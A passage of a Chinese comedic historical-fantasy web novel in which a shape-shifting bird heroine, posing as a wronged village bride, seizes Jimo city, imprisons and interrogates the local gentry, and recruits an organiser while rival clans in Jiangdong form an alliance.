林一在中午的时候来到即墨城,城里城外早就有数千人里三层外三层守在城门口等着了,连一些世族都盖着轿帘在边角处等着看热闹,不晓得这可怜村女能撕扯出哪位世族公子来。看戏的都是对自家子弟品行有些了解的,能使唤得动屠杀一百六十口村民的部曲数额的年轻公子,那不是屈指可数?所以大家都挺坦荡的其实。 一般入城需要路引,但是这五百多个喽啰就不可能开得出路引,林一其实最担心这个,冲城门就显得攻击性太足,容易叫人看出破绽,有防备就不好了,好在城门守军也在看热闹……背地里受了示意,其实有人猜出来那段时间出事的是谁,南约和不少世族子弟都有利益相关的冲突来着。 五百个人浩浩荡荡进了城,林一走在最前面,她今天特意穿了身还算体面的麻衣,用白麻扎着乌黑长发,因为不会束,就是个大马尾,但这一把抓的发式将她白皙的鸟脸显露得清清楚楚。 嗯,这为她的话证明了一些东西,一位落难的世族公子,从被部曲找到也就过了三天不到,咋就能答应和村姑成婚?这脸马上就有了说服力,至少不可能是村里恶霸逼迫无辜青年了,这脸长得就很两厢情愿的样子啊! 进了城,走到了一处大宅邸面前,林一咧开了嘴巴……啊不是,她很快就悲伤地大呼道:“府中诸贤莫惊莫慌,白小娘只求挨家挨户,寻一寻那负心郎,讨一个公道……” 说完,身边呼兰霍兰从宽敞的衣服里取出一把六尺长刀(原初版陌刀),土匪们也从身上摸出各种粗制滥造的兵器,几百人一拥而上冲破了宅邸大门。 承平已久的即墨城啊!部曲和主家是分离的!部曲们除了核心的几十个住家里头,大部分是在城南区域专门有集体宿舍的,有的甚至因为经济紧张,部曲在城外扎营,不是一个大世族每天带千八百个部曲来回走的! 这一日,林一先破即墨徐家、苏家、郑家、许家和两处胶东王氏旁支宅邸,打到正主南家的门楣下时,土匪们已经拖了一长串的世族家主、族人、子弟了,南约用来背锅的堂弟南圣站在大宅门口,好半晌,露出一个欲哭无泪的表情。 “白、白姑娘,久别无恙……否?” 坐在家里看戏等情报的世族们,吃着茶烤着火听着小曲,有一个悲催的大中午兴致很好,是被呼兰霍兰从小妾床上拎起来丢进俘虏堆里的,这会儿遮上遮下遮不住,只有一个小衣,咬咬牙用它遮住了一些肥肉。 其他人对比他是有些优越感的,因为大家至少都衣冠楚楚,如果解开误会也许晚上还能回家吃饭,事后提起也就一句小姑娘不懂事罢了。而所有人里,就这一个浑身上下啥都没有,哦,不对,他套了一个女人肚兜……这位世族中年已经活人微死,此时听见了似乎正主的发言,立刻抬起头,用血红的仇恨的眼神看向南圣。 原来!是你!小子!喃! 第122章 此时整个即墨城都轰动了,大量的海商渔民劳工都不上工不卖货了,因为看热闹的人太多了,人流聚拢起来的力量非常强大,也正是这些人追随在喽啰们的队伍前后左右,才使得打破世家府邸那么轻易。 最重要的是,人多势众!只要人多了,不管对与错,都是一股极其震撼人心,极其能够扭转黑白的力量。也因为白小娘的故事太惨烈了,新婚当天父死母亡,就算不代入白小娘,哪个逢年过节遇到红白喜事不去吃酒席的?那一百六十几口子宾客简直能代入进任何人心里头。 大部分人的思维其实很朴素,人命关天和人命如草芥是可以同时发生的,只要有人出头,人命确实可以关天,没人出头,人命的确如草芥。谁不愿意看到公道? 这样的情况下,哪怕有人心里嘀咕阵仗大了些,找一个人而已,咋挨家挨户破家砸门,拖出那许多世族老爷少爷来? 但是九成九的平头百姓都兴奋热烈极了,第一家世族大门被攻破的时候,胆子小的早跑了,一路追到南府门前的时候,还留下来的已经是狂热分子,或者说就是为了看世族热闹的!毕竟法不责众,人多势众! 林一暂时可没有找出正主的打算啊!她是准备滚雪球一样把事情滚大,裹挟民心搞事情的,刚听见南圣半截话,就放大了嗓子,怒声呵斥道:“住口!恁不是他,俺这辈子都记得他那张脸!恁在为谁遮掩?不管为谁,拿下!把这家也打下来!” 这次冲出去的还是呼兰霍兰,大冬天的,他的活动量很大,因为胶东天气比雪域热得多,所以他又是光膀子造型了,一刀柄就把南圣敲晕,当然也可能是敲死了,霍兰今天就没有控制过力道。 随后跟着他的……不是大泽山匪,林一没注意到土匪们抓到的世族人数太多了,就算都是绳子捆着也需要人手来拉绳,跟着呼兰霍兰冲进南家大门的,居然是一伙渔民,来即墨的路上遇到的船老大王发带着他的十几个兄弟冲了进去。 林一的嘴巴很努力地抿住,她大声咧咧,似乎带着哭腔,“承蒙诸位大义大恩,助小女子讨个公道……” 她今天不能是冲阵在前的大将,她今天要做的是绝对受害者,所以哪怕手痒到不行,还是忍住了,继续哭唧唧说道:“今日万人见证,事已至此,事后若有世家追责,小女子愿以这柔弱双肩一力承担,绝不让动手的恩公为难。” 嘿嘿,事后她就要承担这座大城了,她要追责所有的世家!︿( ̄︶ ̄)︿ 这话说完,早就有一些恶少年摩拳擦掌冲了进去,结果他们一跑,人群留空,后头看热闹的想往前挤,前头就被挤进了大门,一回头就是那“白家小娘”殷切感激的盈盈目光,不*少人脑子一嗡就冲上去了。 当然,有浑水摸鱼偷抢财物的,这点在林一预料之内,无利之事少有人做,呼兰霍兰也被叮嘱过控制场面,就像先前那和小妾一起被捉在床上的,有喽啰想趁机摸一把那溜光水滑的小妾,被一刀柄敲得蹲地下捂头。 南家家主父子当然一直在注意情况,下仆匆匆忙忙来回报,说是那白家小娘认得不是圣少爷,已经打破了大门进入二门。 南约眉头蹙紧,认出来了?真是白小娘那贱妇?他知道今日是过不去了,正思索一个维持体面的承认之方:人命的事,推给部曲,他不知情,成婚的事,他受伤未愈,被迫而为。他起身整理着装冠带,想让自己显得像一个被女人见色起意的无辜青年…… 想都没想完,一阵喧哗喧闹声中,书房的红木大门被一刀劈开,呼兰霍兰提刀进门,马上做贼心虚地敲晕了看起来长得不错的南约。可敦叮嘱过,遇到好看的马上敲晕,防止太早找到正主,她是来搞事的,讨公道这事可以事后追查。 等到南约在郡守府监牢里醒来的时候,整个四面监牢全都是城中世族大户,骂声震天响。 南父缩在监牢角落不敢吭声,很怕把话题引到自己身上。见到儿子醒来,看了他一眼,给了他一个慌乱又紧张的眼神,南约蹙眉,揉了揉还在发痛的额角,让开几个世族公子,避到角落处,压低声音问:“阿父,儿晕了多久,这些……怎么回事?” 南父声音更低,“祸事了,那贱妇打破了城中半数世族,城南部曲合兵赶到时,她手里有百多人质,部曲不敢轻动,被那贱妇号召刁民给镇压了,然后……郡守府也被打破了。” 说来很短的一句话,南父歇了三口气,欲哭无泪地道:“你晕了有五六个时辰吧,不知怎的,有个高壮戎奴见英俊公子就打,除我儿之外,姚家的宗子,徐家二少爷……还有苏家六个公子都给打晕过去了,现在还有三个没醒。” 听着监牢里世族们的抱怨争吵,还在分析分辨是哪家公子惹来的祸事,南约靠住墙壁,嘴唇发白,最后忍无可忍,怒声喝道:“还看不出来吗?即墨城被攻陷了!有人找了白小娘的借口来攻城,这是攻城!” 刚醒过来的苏三公子呕了几声,感觉眼前的画面天旋地转的,听见南约的声音,但脑子里组织不起思维,好半晌缓和过劲,哑着嗓子说:“南约……这个时候了,你还没承认啊?” 攻城论还没让众人反应过来,但是这话却很清晰的,南约本想组织起众人一起想办法破局,但马上就被一拳打上面门,是那个……至今身上还只有一件女人肚兜的世族中年。这个胖家伙已经破防了,撕打着南约,并从他身上扒衣服穿,可算找到一个可以扒衣服的人了! 监牢里闹哄哄的,林一岔开两腿坐在郡守府的高椅上,顺便伸手抠脚皮,顺便歪嘴啄一口呼兰霍兰斟来的茶饮,郡守王群则被捆成粽子按跪在地上,老实交代郡中各县守军的真实情况。 茶叶非常香,林一喝过的茶里能排第一,这郡守日子过得蛮好的。他是胶东王家的族长,啊对,在很多大世族里,家主和族长是两个不同的辈分,小世族通常就是一人兼任。 大世族没那么简单,家主通常是主支嫡脉,为一个家族制定未来几十年发展方向的指路明灯,家主一般会出去做官的,进入洛都任一个要职。而族长统管所有旁支嫡支甚至庶支,不离家为官,只在郡望本地任职,大多数大世族也是当地顶级郡望,郡守居多。 举个例子,王澈所在的瑕丘王氏,他的大伯是家主,入朝为太子太傅,族长则是王镇老爷子,老头在瑕丘本地任郡守,出事后家主嘎掉,族长则带领全族踏上流放之路。 王群人都麻了,这是什么手段?带着五百个喽啰进城打家劫舍,官军和世族部曲被狠狠拿捏住了,最后一个郡的郡治所在,即墨大城被全面攻下,城中百姓还在外头欢欣鼓舞?他今天早上没起床吗?怎么这梦怎么荒唐没有逻辑的? 也许是因为太荒唐了,他想要尽早醒过来,又或者说是脑子已经不大会转,从坐堂审问到被审,郡守王群没怎么抵抗,就成了林一问一句,他答一句了。 “王家部曲数额?年薪待遇?平时训练方向和训练量?脱不脱产?” “四千……按季度赐粮米,年裁衣两套……训练部曲战法,枪矛,八日一操,脱……脱产?” 王群愣神望向林一,林一挠了挠头皮,友好解释道:“就是他们下不下地,是纯军士还是半农半兵,不过八日一操,没有脱产的农民,是吧?核心部曲脱产者有多少?” “家将之中有无出彩人物?特长是哪些?” “……有三百余,下密、壮武两县的家将孙、张都是有些能耐的人物,我也敬重几分,孙余善水战海战,张康骁勇得人心。” 林一又问道:“其他世族的部曲规模你大致再跟我说一下,现在即墨城已失,不要心存侥幸,即墨是胶东陆地锁钥,易守难攻,如今被我占据,想夺回来不易,在这期间你可以有一百种死法,而且,胶东王氏就那么认你这个丢了郡治的族长?” 王群呆坐下来。 林一的谈话结束,呼兰霍兰把他弄了出去,然后就听林一撕拉脚皮的声音,好一会儿,她说道:“去牢里看看吧,现在城里局面暂时稳定下来了,应该给白小娘,给三溪村一个交代了,还有给今天的即墨百姓一个交代。” 四面监牢,是指一个回字形的牢房,四面都是监牢,而四角拐角有路走,中央的空地一般是审讯用的,没有专门的封闭的审讯室,就是为了让牢房里的其他人都看得清楚,林一坐在磨秃的椅子上,看了看牢房里的众人,咧嘴笑道:“嘎嘎!我也撞到了头,不认得是哪家公子做的孽事,也不想费劲去挨个审问,诸位都是胶东郡中的英杰人物,想来聪慧者不少。现在有十炷香的时间,一根香尽,斩一个人头,十炷香烧完之前,找不出人,拿不出证据证明,那就都嘎掉了哦。” 为了让她的话真实可信,林一努努嘴巴,呼兰霍兰打开一面牢房门,一肘子横档住了想要趁机冲出来的世族们,看似随机,实则精准地捉出一个脸色惨白如纸的少年,重新拉铁链锁好牢房门。 嘎地一声,林一提刀砍掉少年头。 四面监牢一下子安静了,整个郡牢里顿时针落可闻。 第123章 当然,谁都知道以鸟大王的高洁(?)品行,捉人来杀这种事根本不可能随机的。 被砍掉头的少年叫姚百岁,今年十三岁,百岁是个小名儿,大名未起,是因为父母疼爱。因为胶东这边…也不止胶东,很多地方都流传有多病的小儿不能取名,取名就上了生死簿,会被收走……像是段凛,张掖那边的习俗是拜鬼神为父母,姚家则是用了更偏的法子:活人心肝入药。 即墨县的人一般不提姚百岁的名,而是像敬畏鬼神一样称他为“太岁爷”,毕竟这年头供鬼奉恶的风俗很广,像姚百岁这种襁褓里就吃人的孩子,在小民眼里,这是死后必然化鬼王的,姚家也一直是这么恐吓庶民的。而姚百岁的命运大概是在某天死后,被建立庙宇,供奉为鬼神,世世代代压在这些被他吃过的庶民头上,被跪拜供奉着。 当然,这全是姚家主的爱子之心,他要自己多病的孩儿哪怕死掉,在幽冥的土地上也能成为一只吃人的大鬼,而不是离开他们的庇护后,成为被欺凌吞噬的存在。最好生生世世都是他吃人,而非被人吃。 这事林一早上在城外和过路人闲聊的时候就听说了,因为这位“太岁爷”还真的挺有名气,富庶之地的世族做事通常会讲究名声,像姚家做得这样难看的极少,所以初来乍到,林一也就听说过他了。 姚父和姚百岁不在一个监牢,而在对面,姚百岁的头颅滚到他脚边的时候,这位一生爱子的慈父崩溃了,怒吼破音拉长调子,“贱妇,贱妇!我儿死了也会化最强的厉鬼,一口一口地吃了你!啊啊啊——” 最后的啊啊啊是因为他被呼兰霍兰扯住了伸出来指着林一的手指,连食指带大拇指的一部分都被一刀削下。 血淋淋,一片血淋淋的寂静。 林一露出一个充满恶意的笑容,踢了踢姚百岁的无头尸体,“可能有点不合时宜,但是啊,咱就是说,活着是个病秧子,死了为什么能做厉鬼?这里头有些什么渠道吗?被吃掉的那些人肉给他加成了?” 姚父又气又怒又心疼,活活痛晕过去了,林一向后靠坐椅子,指了指已经烧了一大截的香,“快点快点,这根香尽,又要杀一个,我是真舍不得啊!” 这话没说假,林一的确思考过多次的,魏朝平民贱庶不识字,知识掌控在世族手里,从一个文盲教到能出来做事做官,不得好几年甚至十多年?可现成的世族,真的能为她所用吗?她现在手里能用的也几乎都是世族的人才,啊,总之爱来自洛都,感谢魏帝的大力支持! 林一看着这四面监牢,多么想里面有一百个王澈……啊,这装瘸懒鬼一个就够了,一百个崔殊……算了算了,这样缺德浓度过高了,她……想要一百个姜命!姜命!姜命! 可是强拧的瓜可能不光不甜,还会崩她一身汁,林一的目光在众人之间扫射,然后她吹了吹本来就快烧到底的香,“四舍五入到第一根香的时间了,霍兰,再抓一个。” 这次林一其实没准备杀人,因为不认识,万一杀的是无辜的就很不好,所以吓唬居多,呼兰霍兰没有得到明确的示意,走到西面监牢前,像从鸡窝里掏小鸡一样,抓出一个原本半坐半靠的凤眼青年。 青年秀眉凤眼,脸色也惨白惨白的,但看身板不是姚百岁的那种病态孱弱,是之前被呼兰霍兰用刀柄敲过脑袋的后遗症。 这位公子一被抓出,林一本能打了呼哨,下意识地看了一眼冷肃着脸的呼兰霍兰,啊这?如此精准地就从人群里抓出了一个大美人出来杀吗? 凤眼青年没怎么扑腾,看起来头疼得厉害,干呕了一声,抬手做了个打断的手势,断断续续地道:“白、白娘子,在下冒昧,大约已经猜到了杀害一百六十口无辜村民的人,必是南家南约……能否容苏三、容我坐下。” 林一把椅子拿给他坐,这苏三公子眉头蹙得厉害,晕乎乎的,看人对不上焦,很明显的脑震荡反应,但坐下来后,语言慢慢回归逻辑性:“不提南约喜好出城打猎的事,只从逻辑盘算,整个即墨城,符合年龄的公子不算多,再小一些范围,对大部分人来说,这是一场风流韵事……尤其白娘子,生得这样美丽动人。就算家有贤妻,大可以花钱平账,或带回家中妥善安置……这是常人的逻辑。” 林一点点头,顺带看了看四面监牢,搁哪儿关着呢? 苏三压了压干呕的冲动,缓了一口气,又说道:“屠杀,是为了震慑,说明此人极端不想此事泄露传播,但做下这样的血案,又不屠村,这排除了王氏的几位公子,此人家族权势没那么高,可以只手遮天。” “再回归事件本身,婚变杀人,只可能是一位正在谈婚论嫁的关键时刻,或者在经营重要名声的某个人,权势不够大,年龄正合适……现在即墨城里,南约四项都符合,其他没人有两项以上。” 众人的视线纷纷南约身上,他的外衣被胖中年扒走遮羞了,但是内衬仍然华贵光彩,他的脸色也不好看,目光落在林一的身上。 这根本就不是白小娘,白小娘只是个土气村女,在村里算是个富户小姐,比普通村姑白一些而已。他那时记忆模糊,像隔着层纱,有些烦躁不安,只是习惯性地叫女人过来……事后却被按头成亲,他压根就没想过这个!但是宾客众多,他一声也不吭,直到部曲的到来。 他对白小娘更多的印象是那个被反复刺穿的尸体,而非活生生的人,但他不可能记错人脸。 南约站起身,漂亮的唇微微抿成一条直线,声音哑着,微微喘着,喘笑道:“是我,白姑娘,我未料到你能掀起这样大的风浪,劳你记挂在心上……你也撞到了头,所以我们谁都不记得谁,是这样么?” 话里有一点暗示,林一的目光在南约身上打了个转儿,审美迅速过了一面,假如魏朝面容的男人以王澈为十分满分的话,苏三7.9分,南约8.1分。这样的男人躺在水边昏迷着,换成是她也会去拾的。可狼毒花啊,越美毒性越大。这男人这样看着她,是不是很想勾引她,让她起征服的想法? 呼兰霍兰忽然动了,大步上前,一拳把走到监牢门口的南约鼻子揍断,两条鼻血顿时长流,南约向后瘫倒,半天没爬起来。 林一被逗乐了,拍了拍背对着她的呼兰霍兰,对苏三道:“好了,找到人了,回去吧。” 苏三用鼻子想也知道不是放他回家,老老实实地,慢慢扶着椅子坐起来,回到监牢里。 临离开监牢时,林一还亲自动手收拾了一下现场,她把姚百岁的头颅拎起来,呼兰霍兰一只手抓着南约,一只手把无头尸体扛在肩上,衙役们不敢做声,一路跟随。 “其他世族暂时别动,先清查一下姚氏吧,养一个吃人孩子到十几岁,不可能只有这一桩吧。”林一回头对……对空气说。 她用干净的手拍了一下脑门,这里没有可用的文政人才啊!她倒是想用郡守王群来着,可人家也得给她用啊! 呼兰霍兰想了想,提议道:“辽东离这儿不远。” 林一早就想到了,把手里的头颅举高,小声叮嘱道:“我晚上出去,现在我们去把这个脑袋挂城门口,告诉即墨民众,太岁爷死掉了!” 至于南约,林一又在他脸上揍了一拳,和呼兰霍兰交接了他。 郡守府内外都是人,当然不是平时的衙役仆从之类,敢进郡守府门的不多,船老大王发是一个,十几个渔家海飘子心里其实打着鼓,压低声音说:“大锅,那白家小闺娘可不似个撒的喃!她做下这样大的事情,咋收场……” 王发正要说话,林一提着个人头拽着个青年从监牢方向走来,即墨人纷纷涌了上去,有的是狂热,有的是害怕了,本能想找个出口,还有慌乱的想要立个什么功,比如抓住叛乱女贼……但林一什么思考的机会都没给他们,举起了手里的头颅。 她大声吼道:“乡亲们!这是姚百岁,打娘胎出来,没断奶就喝心肝汤的太岁爷!姚家向父买儿女,向爷奶买女童,向赌棍买妻儿……这些年,他把乡亲们当成猪圈里的年猪宰!今日蒙乡亲们帮助,白小娘无以为报,只能帮你们报仇了!我们一起去,把这太岁人头挂到城门口,告诉南来的北往的,即墨人再也不是待宰猪羊!” 郡守府内外先是一片寂静,随后乱哄哄的一片,原本有一些父母正在呵斥撕扯要那些“惹天大的祸事”的恶少年归家,听见这话都愣住了。 一个叫宋康乐的恶少年被父母爷奶一起都快撕扯成精赤的了,就是梗着脖子不肯走,他记得自己踹开孙家大门时,回头看见白娘子那柔软的目光。当时他整个人都熟红了,一整天都很亢奋,到处冲锋陷阵,就算是全家齐上阵,他也不肯走。 这时爷爷拉他的胳膊忽然停了下来,皱纹老脸上一阵抽搐,然后落下两行老泪来,抖着唇说:“太岁爷……他吃的第一幅心肝,就是他的乳娘,你姑姑哇……” 恶少年通红的脸刷得一下白了,回头看到那被人群簇拥的白娘子,看到她手里高举的人头,举头颅如旗帜。 爱恋了一天的心碎了,取而代之的一种其他的,他暂时不知道叫什么的,热血激流。 第124章 辽东的气候和胶东不一样,这会儿冷着呢,崔殊显得年轻了不少,因为被冻得跟个孙子一样。 在屋宅里当然不冷,但是做郡守不是每天都待在屋子里,至少姜命是这样,他还兼任了都尉的职责,一直在训练民兵,这年头可没有室内的校场。 崔殊忙啊,忙着上下分割辽西,他不光拆掉了那道反向城墙,还每天派人去移动界碑,今天进五六步,明天被发现了就退两步,非常不要脸,现在已经吞了辽西的两个中间村,那种村子自己都不晓得自己归哪边的那种比较模糊的灰色边界。 除此之外,还联络一些小世族,给出优厚待遇,又捅给上头的大世族,又对大世族说底下的小世族全都人心惶惶,离间阶层,这叫上下其手。只是很短地和姜命调任的这一个多月(应该吧),崔殊不大记得日期,总之他已经快把半个辽西弄进手里了。 上兵伐谋,其次伐交,其次伐兵,其下攻城,是说最好的胜敌之策是攻心伐谋,次一些以外交手段获得胜果,再次一些举兵讨伐,最下乘的手段是攻城,即真的用兵到底。 不过崔殊对孙子兵法有不同的看法,他认为一方势力首先要有攻城的实力和底气,有伐兵的骁勇和战意,才能有外交的胜果和攻心的伐谋,孙子是假设这些己方都有,才提出伐谋为上的观点。 整天做一些缺德的事,以致于崔殊这几天有些失眠了,不过今天傍晚他得到了好消息,一个崔氏子弟入城提交拜帖——顺带一提,他是以化名来到辽东任官的,为了不影响家族声名,他现在的名字叫林直,姜命也不是实名制做官的,他的化名叫林运,反正这事捅到魏帝那儿的时候,老头自己都怀疑自己什么时候捅了一个林氏大世族,也没有……吧? 总之林郡守正襟危坐接见了崔元。 崔元实际上和崔殊不太相熟,他是三房那一脉的,崔殊是他同辈的堂兄,和崔语的关系更近一些,更何况几年前崔殊就出去做官了,两个崔氏子弟面对面,崔元的脸上慢慢露出一个征询的,狐疑的眼神。 崔殊捋了一下他的两根鲶鱼须须,和蔼地询问道:“崔公子远道来此,可是慕我主君骁勇,前来投靠的吗?” 这话让崔元感觉自己有些被冒犯,雁门杨家那里处处礼遇,怎么这个郡守如此直白,只差现场给他安排个职务了?他轻咳一声,说道:“在下尚未有留下的想法,只是……” 崔殊笑眯眯的,用一种垂涎的眼神上下打量他,仿佛在挑肥拣瘦,“公子这样的好品貌,来了我的地方还想走?” 崔元心里咯噔一跳,心头有一种不好的预感。 崔殊似模似样地向门口喊,“来!来两个衙役,把崔公子带下堂,洗干净了,晚上送我房里来!” 那本就猥琐的小胡子翘了两下,把崔元看得一愣一愣,他下意识地也看向门口,会冲出两个大块头吗,把他、把他洗干净送到这个猥琐郡守的床上去? 本是个玩笑话,但门口真伸进来一个鸟头,“嘎?” ……一个活生生的鸟头,口吐人言的鸟头,而且貌似是个鸡头,一点都不像什么大型鹦鹉。 崔元看看近在咫尺的猥琐鲶鱼须,伸进来的说人话的鸟头,聪明的大脑开动了半晌,还是揉了揉眼睛,如在梦中。 片刻后,林一很艰难地正襟危坐,像个被面试的主公那样,她要是早知道的话,就穿戴整齐来了,主要每次来辽东她都习惯做个鸟了啊,这里屋子建得很高,所以也就没有带衣服。现在只能像个大型松果那样蹲在椅子上,张开尴尬而不礼貌的鸟喙,假装是个和善亲切的笑容。 崔元狠狠地瞪了一眼崔殊,一族的兄弟,之前崔殊还是宗子呢,就是这样和族弟开玩笑的?他当时屁-股一紧,几乎以为自己要落入虎口。 不过惊喜仍然大于惊吓。 崔元向巨鸟行了一个世族的礼节,这才开口说道:“林……女君,在下崔元,走过魏朝大半国土,游学至今,见过许多人都不满意,今日来到辽东,有幸与女君相见,在下有几个问题,不知可否?” 林一嘎嘎点头。 “我与语弟结伴同行,他在雁门停步,理由是那位杨少将军,杨少将军乃一位奇志之人。他说天下之势分久合,合久分,是因为开国安宁,其后盛世,盛世人口多而地少,历经数代繁衍,地少则人争。想要结束乱世,唯一的路径就是杀尽多余的无用人口,重开新朝。” 崔殊的脸上都露出了一些惊吓之色,这是什么杀神说得出来的话? 林一也听得低声嘎嘎,崔元继续道:“我不认可这样的想法,但我想知道,可有第二个办法?” 林一没想出来,她干巴巴地啃了一口辽东的烤土豆,这会儿桌上挺齐全的,烤土豆,烤苞米,烤甘薯三件套都齐全,崔殊看她,她也看崔殊,又啃了一口烤土豆。 崔殊服了,谜底写在谜面上的玩意儿。 但是啃了半个土豆,林一慢慢地说:“这个人的话,有道理又没有道理,人多地少的话,确实。虽然经常说世家和朝廷的税狠,但其实粮食是一层层喂的,粮税发给官员,官员上交家族,世家养活自己的族人,然后是部曲。剩下的多余的粮食拿出去卖,平民贱庶在耕地之外做工挣钱,用钱来买回口粮,青壮有力气做工,不会饿死,这是一个大循环体系。” 林一鸟喙磕碰,吧嗒吧嗒地继续说道:“所以其实看似魏朝文明一些,和俺们雪域是一样的,年年死掉的是一些老弱人口,所以确实不是土地多世族多吃多占,而真的是地少人多。但是,谁来定义哪些是多余无用的?每一个在他眼里该死的人,就都是路边乞丐无家无口的吗?” 她也陷入了思考,翅尖拍了拍桌案,“现在魏朝的情况开荒不好开啊,很多郡都开到临海了,所以要拓展新疆域?” 崔元和崔殊都愣了愣,然后齐齐地笑出了声。 破局,这才叫破局! 但是林一鸟脸都皱巴了一下,魏朝这片国土富庶而多良田,其他地方是真没啥好地,她看过了的,有好田地的地方离得远,可以说一个魏朝几乎占了这片大陆最好最好的地段。这根本不是自然形成的,而是从石器时代到春秋战国,这片土地上的人们互相攻伐,勾心斗角,最终养蛊出来的一个巨无霸王朝。 这样的王朝,靠世世代代的血统传承制度,咋个玩得转哦!一不小心上去个废物,或者几代废物,分崩离析是很正常的事。 不过她想得太远了,在场两个小崔已经很满意了,崔元听说了她在胶东开新副本的事,马上按住了崔殊,自信满满地道:“春来愿往!” 崔元,字春来。 当然他现在叫林蛋了,路上林一给他想的名字,蛋这个词可不是贬义,对百鸟帝国而言,这个词汇的含义和崔元本身的名字有些相似,希望,春天到来,一元复始……崔元没有拒绝,他对林一是充满好奇的,一只会说人话会变成人的鸟,这可比雪域异族还要异族了,可是很莫名的,他觉得这个麻麻赖赖的鸟形非常非常威武强大,极有安全感。 林蛋把脸埋进林一的胸膛,陷入鸟毛的海洋。 而一到胶东,崔元就开始操作了。 首先和郡守王群彻夜深谈,其次召集了所有王群能调动的部曲。将即墨城以及周边县镇能征集到的所有人手(期间林一演讲六次)组织起来,最后组织兵员近万,随后大开库门(世族的),以粮食为军饷,以土匪为各级军官,把各家的部曲化为己用。短短的不到半个月的时间,就已经走上了正轨,而因为王群的投诚,陆陆续续又有周边的县城,王氏族人打开城门。 林一摸索着用崔元,发现这小子是个天生的组织者,顶级的说客,明明已经把人家世族的库房掏空了,但他每天定时定点去一趟监牢,过了十天左右,就开始往外领人,领出来的人就开始为林一做事了。 第一个从监牢里出来的就是那位胶东美人苏三公子,然后苏三领出了苏四,苏四领出了他爹,苏四爹带出了呼啦啦大半苏氏族人,然后隔壁的徐家也坐不住了,但此时崔元停止了从监牢领人,就这么晾着他们。 即墨城中,郡守府内,再一次人来人往,规格超额,连最普通的刀笔小吏一抬头,都是昔日打马花街的世族公子爷。 林一和呼兰霍兰站在外面吹冷风,冷风吹得林一脑子都冷静了,她很冷静地问:“俺现在去掏几家大世族,抢几个人来,崔元能把他们弄成自己人不?” 呼兰霍兰歪了歪头,他是不大懂啦。 可是飞蛾扑火,是在扑向火,而不是纱罩什么的吧。 第125章 接下来攻占整个胶东半岛成了一场时间问题而非技术难题,林一一直觉得魏帝那边对战事的反应挺慢的,但这属实是冤枉了,因为她打的一向是闪电战,下了一座郡城后只停留半个多月时间,对她来说已经非常久,久到一天出去飞三圈观察援军方面。 但其实茫茫魏土,有人进度比她还要快。 江东本为楚地,春秋时的一大强国,当初魏朝定鼎天下,取楚也不过花了一年时间,其中更多是些利益交换,楚国当时的王侯将相都成为了如今的江东豪强之先祖。去岁天水贼事爆发,对江东的影响还是颇大,许多豪强子弟认为大势将至,开始串联谋利。 下邳陈刘两家,广陵张卫两家,都是当地的大世族郡望,他们属于中等以上,大世族以下,而江东世族以会稽郡的虞魏孔谢,吴郡的顾陆朱张共计八家为首,这和林一以前遇到过的一个郡最多一两个郡望不同,江东富庶繁华地,土如脂膏米流油,越是富庶能养出的世族就越是多,而且人家质量并不差。 值得一提的是,如今魏帝的皇后就出身江东下邳陈氏,所以陈氏在江东的地位……啊并不怎么高。 ╮(╯_╰)╭当然了,江东这些地方历代以来就不服管教,难道楚国在时他们就服气楚国吗?楚国为啥一年就被攻破了?还不是因为下面的地头势力没有一个服气楚国王室,一位楚国灭亡时期的将领有一句名言:楚虽三户,亡那啥必楚。(他也知道楚国得被亡到只剩下三户,才能齐心协力。) 魏朝这边前面几代帝王就做得非常好了,大力提携江东世族,将世族变为士族,让他们历代有人做官,历代文教第一,这家要跟不上队了,就拉拔一下人家的优秀子弟。总之想让江东安定,就让他们过得和平安定,然后他们自己就打起来啦! 在这样的情况下,于是明明去年就打算搞事情,愣是坐下来谈了几个月都没谈定,各家世族都知道自家情况,大部分人家没有坐稳江东联盟的实力,但也不服气别人。吴郡的陆家宗子陆行想做这个盟主,人家会稽虞家虞轻也想做,下邳的陈家,他们也想,那就都想想吧。 半个月前在建业的又一次世族会谈上,陆行终于压下十几个对手,坐上了江东联盟首领的位置。而这边世族一旦点头同意,那简直了,当天天下九州之中,青徐两州震动,徐州全境并青州半境尽数归属联盟,人家也压根等不及来个什么天下大乱,也等不及魏帝驾崩,来个太子即位乱局。 陆行与江东各家世族霸主歃血为盟,他不等乱局,自古英雄趁势起,而他霸王造时势! 会盟现场,林一就带着呼兰霍兰蹲山上往下看。 陆行是个二十来岁的青年,俊眉桃花眼,高鼻薄*嘴唇,一身华服满绣,红衣底色,只有个头稍矮,是一副标准的江东美男子模样。 他从十岁起就被确立为陆家的宗子,十五岁外出游学,四年后归家,不仅和东海琅琊王氏定下婚约,还拜了一位孔氏大儒为师。当然这位孔门大儒前面也出场了一个姓,就是收下南约做小徒弟的那个大儒,不过陆行入门较早,属于师门里的中流砥柱了。 和大多数世族子弟只想着做官,为家族出力不同,陆行从小就表现出一种王霸之气,他认为家族应该要为他所用,而非他为家族所用,要知道别人家的宗子自小被严格教导,宗子都是一个世族的门面教养担当啊!他这样的心态却取得了当时的陆家老祖宗的看重,亲自把他教养到十五岁送出江东游学。 归家的陆行更加异于常人,他野心勃勃,想要一统江东六郡……不!一统江东算什么?先取青徐,再下扬州,这天下九州他要抄三州在手!以三州之地,撬动风云! 换成别家,也许能给他吃吃最爱的大嘴巴子,但是陆家仍然大力支持这个自小身负“王气”的宗子,能成大事之人,无不是庸人眼中的疯子,陆家这样见惯风云起落的顶级大世族,阅人无数,认为自家中了天命大礼包。 这会儿江东六郡十三家家主都与他歃血饮酒后,陆行大步上祭祀台前,插旗高呼,万众瞩目,底下从者云集,高呼“江东王”。 陆行露出一个更加灿烂如春风的笑容,大声对众人道:“街个,窝宣布一件事哦!窝们江东,街个就会盟咯!六郡十三家,从此一家亲,什么魏朝不魏朝,反了他!” 陆家家主激动得眼睛冒水,扶住了旁边的顾家家主,擦泪道:“窝儿真霸王也!” 顾家家主年轻,三十来岁左右,面容端庄而清秀,气度沉稳,微微点头道:“盟主年轻气盛,霸王虽然远,但是他人不丑,以后会成真的咯。” 陆家主马上就不扶他了,嘴一歪一撇,您个儿子有我儿厉害再讲好不啦? 高台上,陆行切换了一下会稽方言,对会稽世族进行许诺和安抚,毕竟这是他最大对手出身之地,他需要拉进一些关系。坐在前排的会稽世族们听到自家方言,脸上纷纷露出笑容,是对这个盟主感到满意的笑容。 “他的演讲功力有三千,而我是两万一。”林一说,“而且什么叫霸王造时势,造出时势的明明是朱大方吧?他方言咋还不停换?不对,江东这么小的地方,咋有那么多方言?” 